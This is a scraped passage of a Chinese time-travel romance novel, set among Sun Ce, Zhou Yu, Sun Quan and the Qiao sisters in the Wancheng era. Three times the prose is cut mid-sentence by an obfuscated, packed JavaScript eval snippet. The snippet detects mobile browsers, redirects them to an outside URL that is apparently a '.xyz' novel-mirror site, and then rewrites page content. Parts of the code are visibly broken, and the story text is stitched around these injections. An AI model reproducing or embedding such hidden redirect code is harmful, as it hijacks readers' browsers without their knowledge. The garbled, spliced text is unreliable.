;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467248|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步一乔眨眼看了看她,又看向马上的孙策。 他不记得自己,他看自己是陌生的。 也是,时间又往前了,他怎么可能认识自己。 步一乔欠身行礼,忽地,听见孙策发出爽朗的笑声。 “如此岂不正好?对吧公瑾?” 众人不解好在何处。 周瑜点头道:“确实正好。” 所以他俩到底在好什么啊? 孙策跳下马,越过桥公、大乔、小乔,径直走向步一乔。 “还不知姑娘年岁?” “我——” 二十一已经到嘴边,步一乔忽然想起大乔说自己是她的三妹,那年龄万不可比两位都大。 东汉末年,女性普遍早婚。 虽说“十有五年而笄,二十而嫁。”但实际上,许多女性在十五岁及之前就已经结婚。 掐指一算,大小乔嫁给孙策和周瑜时,年龄很可能也就15岁左右。 她们的妹妹……总不能说自己十四吧! 二十一充十四?听上去好搞笑。 话说古人是真长得显老,这哪儿像十五六岁的样子?孙策彼时二十五……还是那么帅~ 思及至此,步一乔的心又猛地沉下去。 她又想起孙权了。 “问你话呢。”孙策出声提醒,步一乔才从失落中回魂。 “回将军,我与二位姐姐同龄。” 孙策诧异着回头与周瑜对视一眼,又打量起眼前颔着头的姑娘。 “那便还是按计划行事。”孙策笑道,“桥公正好三姊妹,我们正好三兄弟。待军在此修整数日,便启程回吴郡,成婚!” 此言一出,众人皆惊。大乔面色霎时苍白,眸光暗沉;小乔目光复杂地一一扫过众人,倏地轻笑;桥公唯唯诺诺,万幸苟活。 至于步一乔…… 哪儿来的三兄弟?你孙策兄弟遍地是!孙周张?张昭?不能吧! 199年张昭都虚岁45了!那是你的叔叔! 这种时候,她的脑子格外好使。 “将军,我——” “我意已决,公瑾意下如何?” 孙策站到步一乔身侧,四人一同看着下马走来的周瑜。 周瑜站定小乔身旁,未来的夫妻俩相视一笑。 “如此甚好。”周瑜道。 步一乔纵观全局。 这个站位……好像有哪里不对? 她抬眸看向孙策。风沙肆虐过的脸上还沾有血迹,即便如此,也帅得令人心颤。 “将军……” “嗯?”孙策垂眸看来。 步一乔迟疑着,看了眼大乔。 “将军的计划……莫非是大姐嫁给将军,二姐嫁给周公子,我嫁给……” “答对了一半。” 孙策在她说完之前抢过答案。 “原本只听闻桥公有二女,倾国倾城,我与公瑾便想向桥公提亲。却不想……” 勇猛武将又收起了他的锐利,眼底含笑,眸中映照出步一乔错愕的神情。 “却不想方才一眼,我便生出与你一见如故之心。当即,改了主意。” “改了……主意……一见如故……” 步一乔像个傻子,说话一卡一顿的。 孙策颔首,却在看到她滑落的眼泪时,愣了神。他抬起手背想擦去,又看到脏兮兮的手,收了回去。 “还不知姑娘芳名?” “我……”步一乔抽了抽鼻子,挂着眼泪,笑道,“一乔。” “一乔?怎么写的?” “一二三四的一。” 孙策噗嗤笑道:“桥一乔?瞧一瞧……呵,名字还挺有趣。” “可是……字不同啊……” “不行,日后若是禀报军情,混淆了怎么办?” 孙策沉吟片刻,灵机一动。 “罢了,反正你已是我孙策的人。往后,我都唤你夫人吧。” “夫人……你要娶我……” 步一乔又哭了,哭得更厉害了。 孙策慌了,赶紧问旁人有没有绣帕。 大乔递过来,孙策接下后亲手擦拭步一乔的脸。 “到底何事如此伤感?是不愿——” “不是!不是……”她拼命摇头,极力否决。 嫁给孙策她高兴还来不及。 但这不是高兴的眼泪,步一乔很清楚。 而是那个人。 14. 忆相逢 此时此刻,步一乔想起了诸多事情。比死之前的走马灯还想得多,想得齐全。 上一次穿越至建安五年是三月下旬,孙策唤自己“大乔”,自己掐指一算,时间正好吻合。自己即将顶替历史上的“大乔”,成为大乔嫁给孙策! 呸!吻合个屁啊!策乔相遇早过几个月了!什么狗记性! 还大言不惭问偷袭许都一事,只身入贼窝,威胁三门客……步一乔啊步一乔,你啥时候这么猛了?! 话说当时为何,孙策身边没有大乔呢? 而眼下,不过孙策说要娶的不是大乔,而是“大乔”,就感动或伤感到痛哭流涕。 当然,她很清楚,还有另一个原因。 另一个说要娶她的人。 孙权。 “一乔……步一乔……做我夫人……不要嫁给……兄长……” 孙权在说这句话时在想什么?是感知到自己时间将至,说的闹别扭的话,还是真心想娶她步一乔? 不能吧,十八九岁的人……呃,在古代十八九岁孩子都几个了吧。 步一乔抬眸观望皖城街市上的人声鼎沸。 攻打皖城时,十七八岁的孙权,在哪儿呢? 步一乔似乎很想念孙权,恨不得方才在桥府门口便抓着孙策的手,问他弟弟在哪儿。想问问他,是不是还活着。 只是想知道他是不是复活了,历史是不是回到了正轨? 是喜欢上了?自然不是,步一乔清楚这一点。谁能对一个死在自己怀中的人轻易释怀?更何况当时…… 沉沉叹了口气,步一乔又想起了…… 丢下悉听尊便的话后孙权要走,苍白的身子坐在凌乱中,不争气地哭着威胁他不许走……缠绵过后,坦诚相待的两人,拥着身子,说了些尴尬的情话,人就…… “唉……” “怎么了?为何唉声叹气?”身旁的小乔问道。 步一乔沉着眸子道:“想起了一位故人。” 军队修整,大乔于家中与桥公商谈事情,步一乔同小乔便出门,送些东西去给孙策周瑜。 临走前,她特意观察了一番大乔的神情。如愿不嫁给孙策,她应该是高兴的吧?可为何方才的表情,似是生气了? 女人的心思好难懂。 思及,步一乔又叹了口气。 “唉声叹气的,衰神都要被你叫来了。”小乔嘴上说着刻薄的话,眼底要是担忧的温柔,“乱世苟活已是万幸,可别把自己愁死。” 步一乔听见关怀,摇了摇头道:“纳妾娶妻一事,大乔她……不会生气吧?可她原本也不想嫁给伯——孙策将军,此番,应是顺了她的意吧?” 小乔狐疑地侧目看了看她,“姐姐是这般与你说的?” “嗯?说什么?” 小乔似是无语了一下,稍稍翻了个白眼道:“说她不愿嫁给孙策将军啊。” “啊……嗯,是。” 方才小乔的表情,怎么感觉……有种违和感?闺阁女子如何做出这等表情? 小乔体态端庄却嗤之以鼻,低声道:“哼,口是心非。” “什么?” 步一乔若不是听得过分真切,真不敢相信方才小乔讽刺的人……是大乔。 小乔两根手指搓着袖口,眼神流转。又凑近步一乔,唇角噙着看透世情的浅笑。 “别信她那套‘女儿家心思’的说辞。我与她一同长大,岂不知她?她这是拿着闺阁女儿的手段,来下这天下最大的棋呢。” “……她?”步一乔吃瓜的表情愈发明显。 小乔挑高音调嗯了声,眼波朝前方一掠,笑意更深继续道:“孙将军是主帅,自然要配最难得的战功。她越是推拒疏离,越显得金贵。非得主帅亲自来求、费心折取,才不算辱没了身份。待他来时,见她姿容气度,方知这‘负隅顽抗’的城池里,果然藏着值得他倾心相待的珍宝。” 小乔语气里带着几分了然与讥诮。 “什么佳话?不过是把‘瓜分’做成了‘恩赐’。经此一番,她不仅是孙策将军明媒正娶,更是他心心念念求来的战利品。” “大乔与你说的?” “我二人姐妹,不说也能明白。” 虽然文绉绉的话步一乔听得云里雾里,不过有件事她听明白了 二乔姐妹的关系似乎不大好? 于是,她打算试探试探。 “你们姐妹……关系不好?” “挺好的呀,姐姐待我极好,你从哪儿误解来的。” 方才的话哪里听得出好了?分明是你的话让人产生歧义的好吧! 小乔继续道:“大抵是我愚笨吧,不如姐姐聪慧,总不如她心思缜密,常常自寻烦恼罢。” 大乔确实生了一副精明能干的样子,尽管接触不多,加之小乔的点播,步一乔约莫着晓得大乔是个什么类型的姑娘了。 是自己永远也成为不了聪明的女人。 “光顾着说大乔姑娘,还不知小乔姑娘怎么想的?” “周中郎吗?”小乔望着前方眉眼微弯,“不瞒你说,在得知我会嫁给二人之一时,特地找了位道士,替我算命。” “哇……结果呢?” “道长说,若是嫁给周瑜,琴瑟和鸣;若是嫁给孙策,守寡一生。” “……”步一乔怔愣住,倏地捏住小乔的衣袖,“请务必将这位道长推荐给我!” 小乔愣了瞬,轻笑道:“你也想算命?” “不,只是觉得这位道长……有点东西。” 何止有点东西,简直先知下凡啊! * 步一乔暂且抛开先知,清楚眼下更重要的是什么,自己与小乔为何在长街漫步。 大乔。 此次穿越第一棘手事件主人公。 “依照小乔姑娘的意思,大乔姑娘其实是愿意嫁给孙策将军的,只是碍于……好像也不碍于?”步一乔揉了揉额角,低声嘀咕,“女人的心思好难懂……总而言之,我事先答应她在先,眼下是不是该去劝劝?” “劝谁?孙将军吗?让他娶姐姐,你嫁给那位尚未露面的‘弟弟’?” 步一乔嘴角轻轻一抽,“弟弟么……真的不是叔叔吗……” 步一乔想到此人大概率是张昭,整个人都不好了。 这就是旧时代女性的悲苦吗。 但倘若孙策所说的这位“兄弟”……是他呢? 完了,怎么又想偏到那人身上去了!步一乔暗自懊恼,明明在认真盘算正事,思绪却总不由自主地绕回故人身影。 “你为何总心神不宁的?”小乔轻轻牵起步一乔的手,带着她往路边靠了靠,让过一架辘辘而过的马车。 步一乔傻呆呆地抬眸:“我吗?有吗?” 小乔无奈浅叹:“时常望着某处发愣,唤你半晌才回神。” “你也没唤我吧?” “嗯,没有。” 小乔抿唇一笑,眼底掠过一抹了然的光,却也不点破,只将她的手握紧了些,继续向前走去。 “莫非有心上人了?同我说说?” “没有。”步一乔几乎是当即回答,不带一丝犹豫,“没有心上人。” 小乔看破不说,狡黠笑道:“唉,还说我帮帮你呢。成全你与心上人,也解决你不晓得如何成全姐姐与孙将军一事。” “成全……”步一乔仍由小乔牵着自己,全神贯注在思考上,“虽说我答应大乔姑娘在先,但非要说……我一点也不想将伯符让与他。” 小乔打量着她,眼瞅着前方便是策瑜军队驻扎地,牵着步一乔的手捏了捏。 “罢了,回头你自己慢慢想吧。” * 营中满是糙汉,两人站在门外伸长脖颈,望不见两个美男子。正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467249|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当小乔踮起脚尖张望时,一个清越的嗓音自身后响起。 “二位姑娘这是去哪儿?” 两人闻声齐齐回头。 周瑜今日未着戎装,一袭月白深衣衬得他风姿特秀。 小乔只觉得心口像是被什么东西轻轻撞了一下,一时间竟忘了言语,只是怔怔地望着他,颊边不由自主地泛起浅浅红晕。 分明只是第二次见面,怦然的心动却与初见时无二。 周瑜目光先是掠过步一乔,随即不由自主地停驻在小乔微红的脸颊上。 初见的惊鸿一瞥,此刻又清晰地浮上心头。 他迅速收敛心神,唇角扬起如常清浅却如沐春风的弧度。 小乔颊边泛起浅浅酒窝,羞涩道:“来看看将军,可有什么需要——” “我是来找周将军的。”步一乔利落地截过话头,惊得小乔睁圆了眼。 “正好,我也有事,正要去寻姑娘。” 说罢,他看向小乔,抬手示意亲兵。 “劳烦送乔姑娘至客舍歇息片刻。” 步一乔捏了捏小乔的手心,道:“放心吧,我对周将军没那兴趣,安心在客舍歇息等我吧。” 小乔闻言,脸颊更红,似嗔似羞地瞥了步一乔一眼,又飞快地偷瞧了周瑜一下,这才随着亲兵一步三回头地离去。 * 看着小乔离去,周瑜并未多言,干脆利落地转身走向另一条僻静巷口。步一乔压下心头纷乱思绪,迈步跟了上去。 巷口槐树下,周瑜端正坐下,步一乔看了眼周围的空位,在并排的宽板凳上坐下。 “周——周公子先说吧,为何寻我?” “倒也不是什么重要之事,只是那日初见姑娘,竟有种似曾相识的错觉。” “不是错觉吧。”步一乔凝视着周瑜似笑非笑的眉眼,“周公子是笃定了与我曾见过吧?” 周瑜眼底掠过三分讶异七分玩味,扬起笑。 正要开口,一位身着轻甲的部将匆匆赶来,在他耳边低语几句。周瑜只微微点头,部将便迅速离去。 小插曲并未打断方才的话题,他转而接上步一乔的话。 “的确如此。姑娘是个聪明人,与我想的一样。” 步一乔追问:“你记得?” “记得什么?” “你我二人真正的初见。” “非也。”周瑜抬手优雅地轻按太阳穴,“虽说笃定,但瑜绞尽脑汁也想不起究竟是何时何地。甚是怪异吧?”他看向步一乔,目光坦诚,“此番离奇,还是头一回。” 步一乔眼中光芒微黯。 “伯符呢?他有提起过……我什么吗?” “不曾。” 步一乔竟不由自主地松了口气。但这放松只持续了一瞬,她便后知后觉地意识到背后的含义,不禁在心底泛起一丝苦涩的自嘲。 又从零开始。 周瑜默默观察着步一乔脸上瞬息万变的复杂神情,适时地转移了话题:“但你或许会想知道另一条情报。” 他刻意停顿了一下,成功吸引步一乔全部的注意力。薄唇一张一合,道出简单的话语。 步一乔的心渐渐被揪紧。 “此话……当真?”步一乔的声音在发抖,手也不自觉攥紧。 周瑜点了点头,确认了消息的真实,也确信了自己内心的猜测——眼前的姑娘与“他”,果然是自己脑海中一闪而过的那样。 他确实与步一乔初见,却又似不是。 在桥府门口见到这姑娘,周瑜甚是诧异。自己竟从她身上想到了仲谋。感觉曾几何时,路过仲谋房外时,窥听到屋中有这女子与仲谋调情娇嗔的声响。 兴许是梦吧,兴许此二人相貌有些许相像吧。周瑜心想。 步一乔僵硬地从板凳上站起身,不可置信道: “孙权在……皖城?现在?!” 15. 余生缘 步一乔几乎是连跌带撞地冲向周瑜告知的地点。 建安四年,孙策攻克皖城,麾下将士俘获了刘勋家眷百余人。当时虚岁十八的孙权,因随兄长及其他将领家眷滞留城中,未及撤离,竟成了这场胜仗中一个微妙的“俘虏”。 不知何时,小乔也跟了上来。许是周瑜折返时与她说了什么,才让她匆匆赶来。只是她体力远不及步一乔,一路疾奔后几乎虚脱,整个人软软地挂在她肩上。 “你……你……你……”小乔喘得上气不接下气,“你跑这么快做什么……” 迟疑了一下,步一乔推开眼前沉重的大门。 “孙权……” “啊?”小乔微怔,“孙权是……是孙策将军的弟弟?孙仲谋?” 想不到从天而降的姑娘居然同孙仲谋也认识?光是周瑜与她初见便有要事要谈,就足够令她震惊。 眼前的人,到底什么来头? 话说她那日穿的衣裳好生奇怪。 门推到一半,步一乔的手忽然顿住。 她不敢再推。 她还没准备好,该以怎样的神情、怎样的心情,去见一个“死而复生”的故人。 小乔见她眼中泪光闪烁,轻轻握住她的手,低声道:“不如先敲门吧。” “不行!”步一乔脱口而出,“我只悄悄看一眼,看一眼就走。” “这样么……” 小乔心中的疑云愈发浓重。 步一乔深吸一口气,咬紧牙关,终于将门彻底推开。 远处家眷人群中,独有一人气质卓然。那少年身形挺拔,举止从容,眉目间既有书卷气,又不失将门风范。 是孙权……他真的活着……他活过来了…… “他没死……” 泪水无声滑落。若不是手背上传来温热的湿意,小乔甚至未曾察觉步一乔又哭了。 “怎么又掉眼泪……”小乔轻叹着,一边为她拭泪,“妆都要花了。难道是见故人重生,悲喜交加?” “嗯……”步一乔嗓音沙哑,抿紧的双唇止不住地颤抖,“是……他活着……他没有死……哇啊————!!!” 小乔被她突如其来的嚎啕惊住。 步一乔猛地扑进她怀中放声大哭,引得四周目光纷纷投来。 “他没有死……他还活着……他还活着……” 孙权闻声望向这边,只见一陌生女子埋首哭泣,另一张面孔也不曾相识。当是哪户乱世重逢的姐妹情绪激动,便未多加留意。 * 小乔手足无措地拍着步一乔颤抖的后背,目光不由自主地投向远处的孙权。 少年只是淡淡一瞥,便转身与身旁的老仆低语。阳光落在他青色的衣襟上,勾勒出清瘦却挺拔的轮廓。 小乔心中疑云更甚:到底是何等旧识,能让她伤感成这般?可若是久别重逢,为何只敢远远偷望一眼,不敢相认? “话说你居然认识他?”小乔的疑惑脱口而出。 眼见着四周看热闹的百姓越聚越多,窃窃私语声渐起。 “我们……我们先离开这里。”小乔试图将步一乔从自己肩上扶起。 可怀中的人仿佛被抽走了所有力气,沉重地压着她,温热的泪水早已浸透衣襟,嘴里还反复念着那句叫人听不真切的“他没死”。 就在这时,一阵脚步声由远及近。 “二位姑娘可是遇到了什么难处?” 儒雅的声音让两人同时一怔。 步一乔的哭声戛然而止,却不敢抬头,生怕红肿的狼狈样被人发现。小乔抬眼望去,文士打扮的中年男子站在几步开外,眉目温和。 是张昭! 小乔连忙敛衽行礼:“见过张昭先生。” 步一乔终于抬头,慌乱地用袖子擦拭眼泪。张昭的视线在她哭花的脸上停留片刻,又望向后方敞开一半的门。 “冬日风寒,二位姑娘若是不弃,可随我至偏厅稍作歇息。”张昭平和道。 “不必了……”步一乔下意识后退半步,想趁机逃走,却被小乔轻轻拉住。 “多谢先生好意,那便劳烦先生了。”小乔欠身致谢。 * 孙权已不知去向,穿过回廊时,步一乔始终低着头,生怕和熟人照面。 小乔始终牵着她的手,时刻顾及她的反应。 张昭将她们引至一处僻静的厢房,吩咐侍女准备热水和干净的布巾。 “二位稍作休息。”张昭意味深长地看了步一乔一眼,“若是需要什么,尽管吩咐下人。” 房门合上的瞬间,步一乔终于支撑不住,跌坐在榻上。 “你认识将军的弟弟仲谋。”小乔的语气笃定,不再有半分疑问,“而且,你曾经以为他死了。” 步一乔闭上眼,泪水再次滑落。 她该如何解释?说她来自千年之后,在史书中读过关于这个时代的一切?说她知道孙权会活到七十岁,会成为东吴的开国皇帝,却也会在晚年变得多疑残暴? “不、是的……”步一乔擦掉眼泪,偏过头藏起脸,“只是他与故人极其相似,不由伤感罢了。” “我不信。” 小乔走到她跟前蹲下身,用绣帕轻轻擦拭她的脸。步一乔又想用手袖,被小乔拦下。 “女儿家的肌肤娇贵,这绣帕柔软些。” “谢谢……” 步一乔面对真心待己之人,从来无法说谎。如同当初无法对孙策撒谎一般。 她可以逃避,却做不到欺骗。 而此刻,是小乔。 步一乔眼睛干涩得厉害,用力闭了闭,再睁眼时声音沙哑:“不要告诉别人……我……抱歉。” 她终究说不出口。 如此荒诞之事,或许沉默才是最好的选择。 小乔在她身旁坐下,轻轻握住她冰冷的手。“你可知,方才张昭先生已经起疑了?” 步一乔猛地抬头。 “将军新得皖城,收纳降卒家眷,此刻正是敏感时分。”小乔压低声音,“何况你在门外哭得如此伤心,任谁都会多心。” 是故意哭丧的余孽?还是暗中报信的细作?步一乔心头一紧,若被怀疑,不仅自身难保,恐怕还会连累小乔。 “不……会吧?”步一乔沉了沉气,“那我该如何是好?” “事已至此,唯有以行动证你清白。”小乔轻声道,“不如寻个时机,主动与孙将军一谈?眼下张昭先生想必已去禀报了。” “……有可能。”步一乔将脸埋得更深,“我为何总做些蠢事……” 小乔轻轻从鼻息间哼出一声笑来,笑意里浸满了无奈的怜爱。 “可不是么,尽是些糊涂事。答应我姐姐的还没理清,眼前倒又添了一桩新的。你这榆木脑袋,到底从哪儿来的?” 步一乔恍然抬头,“啊!对啊,还有大乔的事儿,我都忘了……” 这都什么事儿啊!!! * 冬日的皖城入夜后寒气蚀骨,步一乔捧了烫人的手炉,坐在桥府后院发愣。 寒冷能刺激醒大脑,便于思考。 换算成现代的时间,眼下不过刚吃了晚餐。可古人习惯了日落而息,此刻皆在屋中歇息。 “伯符应该睡了吧……”步一乔对着呵出的白气喃喃自语,“要不要去看看他?” 未出阁的姑娘深夜去寻未婚夫婿,传出去怕是名声尽毁。但步一乔并不在意。若是真惹了闲话,大不了故技重施,一走了之便是。 思及此,她下意识偏头望向不远处院墙角的那口井。 “这要是跳下去,没穿回现代,先把自己淹死了吧……”她自嘲地扯了扯嘴角。 还是等随孙策回到吴郡再从长计议吧。 躺棺材,比跳井好 算来距历史交流会的总结汇报还有五天,意味着她能在这个时代停留百日。三四个月的光阴,足够了。 * 孙策的居所为方便军士通报,大门常开。步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467250|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一乔来得凑巧,恰逢守卫暂离,许是轮值更替的间隙。 她轻手轻脚踏入庭院,心中惴惴。旁人倒不甚畏惧,唯独怕撞见周瑜。 伯符的一见如故,和周瑜的似曾相识,都让步一桥莫名产生不安。身为当代青年人,竟开始怀疑时间的正确流向是否朝前走的。 “时空悖论吗……”她喃喃。 线性、不可逆的因果观。那自己的这场时间之旅,不可逆的是什么?是自己最初的目的吗?两次皆无法改变的事实结果。 建安五年,孙策遇刺身亡,时年二十六。 * “一乔?” 窗边一声轻唤。孙策执卷而立,面露讶色。他着了身玄色深衣,墨发以一根简单的发呆束起,倒添了几分士族子弟的清雅。 步一乔尴尬地抿了抿唇,四下望了望,道:“忽然想起将军,便来看看你可曾安歇。这般鬼鬼祟祟的,实在失礼……” 孙策裂唇一笑,放下竹简,快步来到她面前。他身形高大,步一乔需仰头才能对上他的目光。 “夜寒露重,你身子单薄,当心受凉。” “多谢将军关怀。既见将军安好,我便告辞了。”步一乔转身便要走。 “且慢!”孙策叫住她,“也不急一时,待会儿我护送你回府。来,我正好有东西送你。” 暖阁内陈设简朴,案上竹简犹带墨香。孙策添旺炭火,邀她同坐,忽而从屏风后取出一盏墨梅绘灯,挨着她坐下。 “将军这么好兴致?” 步一乔有些意外,抬眼看他。近看之下,他眉眼间的英气逼人,但望着她时,那目光总是软的。 “年关将至,我正好想到,便画了盏灯送你。” “给我的?” 步一乔怔怔接过花灯,灯壁上的墨梅枝干虬劲,花瓣清雅。她指尖轻抚灯上寒梅,心绪如潮。 见卿心欢,却又不知有何不对。 步一乔幻想孙策的梦整整一年,一切的一切起源于一场墓碑边的午后梦。与他于山野间,忘乎所以、沉沦天地。 可是……无论是第一次还是眼下,眼前的伯符总与梦中“孙策”有何不同。 本能与理智在叫嚣。 步一乔最不愿承认的,是本能与伯符毫无欢愉之欲。 那么,孙策呢? “那日,伯符为何选择了我,而非姐姐?你们原本……不是说好的么?” 步一乔抬眼望去,眸中盈满期待,又带着点不安。 孙策微微一笑,目光温润。 “大概出于某种心有灵犀吧。”他笑了笑,“那日见你欲言又止的模样,竟让我恍了神。待回过神来,已站在你面前,再看不见他人。” 步一乔轻笑打趣:“将军这般说辞,莫不是对我一见钟情了?” “心有确信。纵使轮回千遍,我仍会第一眼就认出你。你是我金戈铁马里,唯一想要守护的安宁。” 步一乔的耳根染上绯色。 “将军可以去写诗了。说得那么感人,我都快哭了。” 孙策笑意渐深,伸手轻轻拂开她额前一缕碎发。 时间似乎不曾更变,此时,她依旧是他即将三书六礼聘娶的“大乔”。 “大概是你上辈子救了我吧。这一世,换我来护你周全。” “救了你……” 步一乔忽然想起了初临江东,被孙策差点当成满口胡话的妖人,一刀砍了。第二次穿越回去,救了孙尚香,孙策以恩人留下她,不过半月便要与她长相厮守。 此番第三次邂逅,一如既往的一见钟情。 上辈子……于步一乔而言不过一月之前,于他而言,已是上辈子了吗? “那日将军说的三兄弟……还有一人是谁?”她收敛心神,轻声问道。 “我孙策兄弟虽多,但我最看重的,除周瑜外,自是二弟仲谋。” 步一乔倏地抬眼,眸中满是惊诧。 “你想把大乔嫁给……孙权?!” 16. 见尘雾 孙策见步一乔如此震惊,温声解释道:“大乔姑娘年方十五,仲谋恰好十八,岂不正合适?” 啊……喊习惯了姐姐,步一乔真当大乔比她年长,全然忘了这些孩子都还是未成年……不对,刚成年的姑娘。 和孙权真正年纪差距太大的,是自己。 穿越可以倒流时间,他们可年轻可衰老或死亡,不变的只有千年后自己。 可这么一来,千年后那些嗑策乔CP的同好们怎么办!岂不是要把她步一乔抓起来千刀万剐?绝对不行! “将军!” “嗯?” “我其实有事儿跟将军商谈……”步一乔忐忑不安,“你可不可以……可以……娶……” 口是心非的话说不出口,步一乔快把自己急死了。 孙策微微歪头,困惑地注视着她。 长街寂静,寒风掠过,想来夜深时分会落雪吧。 “你……你……” “我怎么了?” “你……”步一乔面部逐渐狰狞,最终却只泄气道,“你可不可以牵着我走有点冷。” 孙策愣了下轻笑出声,温热宽厚的手掌已将她交叠在身前的指尖轻轻握住。 “冷成这样怎么不早说?以后不许再这么晚单独跑出来了。” “嗯……记住啦。” 步一乔突然想哭,眼眶酸涩着,自尊心又在作祟。攥在孙策掌心的手渐渐收紧,抑制住翻涌的情绪。 她不想放手,不想把孙策拱手让人,也不想……亲手撮合两个不该在一起的人。 都怪孙权……偏偏是他,一次次打乱她的心绪。 * 步一乔仔细想了想自己这种过于复杂的情感。 于孙策,是数年梦女的执念。对幻想中的孙策比现实中的任何人都上心,男友没有不重要,反正她有臆想中美男。 于孙权,是愧疚、是自责、是抱歉。他救了自己,被自己强吻。虽说骗去房中是孙权不对,但……她步一乔的身体是迎合的,是欢愉的。 她将这种反应归咎于本能。 但本能,真的会对一个毫无感情的人起反应吗?她步一乔难道就轻浮至此?春梦做多了对身体产生的影响?! 也没做多少吧?一周一次? 又或者,是因为时光倒流?可逆转的时空,与她的身心何干?难道思维与肉身,竟会因穿越而产生割裂? 至于爱恋……她没能得出结论。 * 两人依偎着缓步前行,孙策怕她摔着,步子放得比平日慢了一半还不止。 “一乔?” “……啊?” 恰在此时行至桥府门前,孙策轻声唤回神游天外的步一乔。有什么温热柔软的东西轻轻贴上她的脸颊,留下久久不散的余温。 孙策唇角轻扬,屈指刮了刮她的鼻尖。 “明日便随启程回吴郡,早点休息吧。” “那些家眷,也会一起吗?”步一乔试探道。 “自然。他们会先行一步,待我等将此处事宜安排妥当,再随后出发。” “如此便好。那……伯符晚安。” “晚、安?是愿夜里安康之意吗?还挺有意思。”孙策学着她的语调,含笑应道,“晚安。” * 目送孙策的身影消失在回廊尽头,步一乔在沁凉的夜风里站了许久,终是转身,踱步至大乔屋外。窗棂内灯火未熄,映出一道纤柔的身影。她迟疑片刻,终是抬手轻叩门扉。 “大乔姑娘,你睡了吗?” 屋内传来细微的脚步声,门被轻轻拉开。大乔披着外衫,面容在灯影下显得格外柔和,眼中却带着一丝未散的忧思。 她还在为婚事苦恼吧。 步一乔随她入内,在案前坐下。 “白日里,小乔同我说了些话……但我更想亲耳听听姑娘的心意。满足你心愿的承诺,依旧奏效。。” 小乔说的话可信,但不可全信。步一乔还是更倾向从大乔口中听取她真正的想法。 大乔轻笑道:“家妹心直口快,没有冒犯姑娘吧?” 步一乔深吸一口气,决定不再迂回:“乔姑娘,我……或许来自一个你们无法理解的地方,我知道一些关于未来的命运。” “是同那道士说的一样吗?”大乔苦笑道,“嫁给孙策将军,不过半年举案齐眉,之后便是孤寂一生……” 步一乔垂下眸,沉默半晌,绕过桌子跪坐在大乔身侧,握住她的手。 “你值得的是一段长久、平安、厮守的幸福,而非短暂的绚烂与漫长的伤痛。你多年轻啊,这对你不公平。” 尽管后事有佳话传唱,可对故事的本人而言,这是何等的不幸。 烛影摇曳,映着两个女子对视的目光。这不再是一场“抢夺”式的联姻,而是一次“各取所需”的成全。 “可若预言成真……步姑娘又当如何?”大乔望向步一乔,问出了最关键的问题。 步一乔垂眸良久,终是抬起眼,苦笑道:“若天命不可违,我便回归来处,从此放下妄图改写历史的痴念。但现在,我想再争一次。” 再争一次,保全孙策,尽可能保全所有人。 “为孙将军?”大乔忽然细观她的神色,“步姑娘这般决绝,莫非早已将真心付与了将军?” 步一乔猝然一怔,耳尖微红:“何、何出此言?” 大乔了然轻笑,“看你的神情,是为珍视之人赴死的决绝。” “有吗?”步一乔怪不好意思的挠了挠鼻尖,“伯符是个温柔的人,很难不动心吧……” “温柔?”大乔微讶,“外人皆道孙将军性如烈火,刚愎自用。” “可我眼中的他,是重情重义、落落大方之人……他不该命结于此。”尾音渐弱,步一乔脸色沉下去,升起愁色。 半晌后,步一乔缓慢起身。 “乔姑娘请放心,我会与伯符说明,还你自由之身。” 既然历史注定是悲剧,那就不如由她来改写。 改嫁后的大乔是否幸福暂且不知,但不试一试,谁知道呢。 步一乔转身走向门边,在即将推门而出时,脚步微顿,侧首轻声道: “论年岁,我实际长二位姑娘一些。大乔姑娘既说我三人为姐妹,从今往后,我便是大乔吧。” * 江东,吴郡。 从皖城回来,不多日便是春节。孙家好久没这么大团圆的过年,加上一些亲戚来吴郡投靠,今年注定热闹。 步一乔前几日听吴夫人提起,一位远房的徐家姑娘新寡,也会来府中暂住,请孙家多加照拂。 年二十八,孙家上下热闹得很,忙里忙外地装点布置。步一乔因前些日子“不小心”帮倒忙,差点把手指砍没了,被吴夫人心疼地劝离了核心区域。 这些日子,男人们在前继续外面的事,女人则在宅院中迎接新春。她也得此没能与孙权碰上,稍稍放宽了些心。 帮不上大忙,步一乔心下有些讪讪。只得偷偷溜出府外,去街上看看有什么可以添置的小玩意儿,也算尽份心,或许也能散散心。 寒风轻呼,却吹不散满街的人间烟火气。人头攒动,临近新年就是热闹。步一乔裹了裹身上的披风,目光漫无目的地在琳琅满目的货摊上流连。 忽然,她的目光定住了,黏在了不远处的一个身影上。 并非那身影有多耀眼,而是他身边站着一位素衣女子,以及他们之间那种过于亲近的姿态,刺得她眼睛生疼。 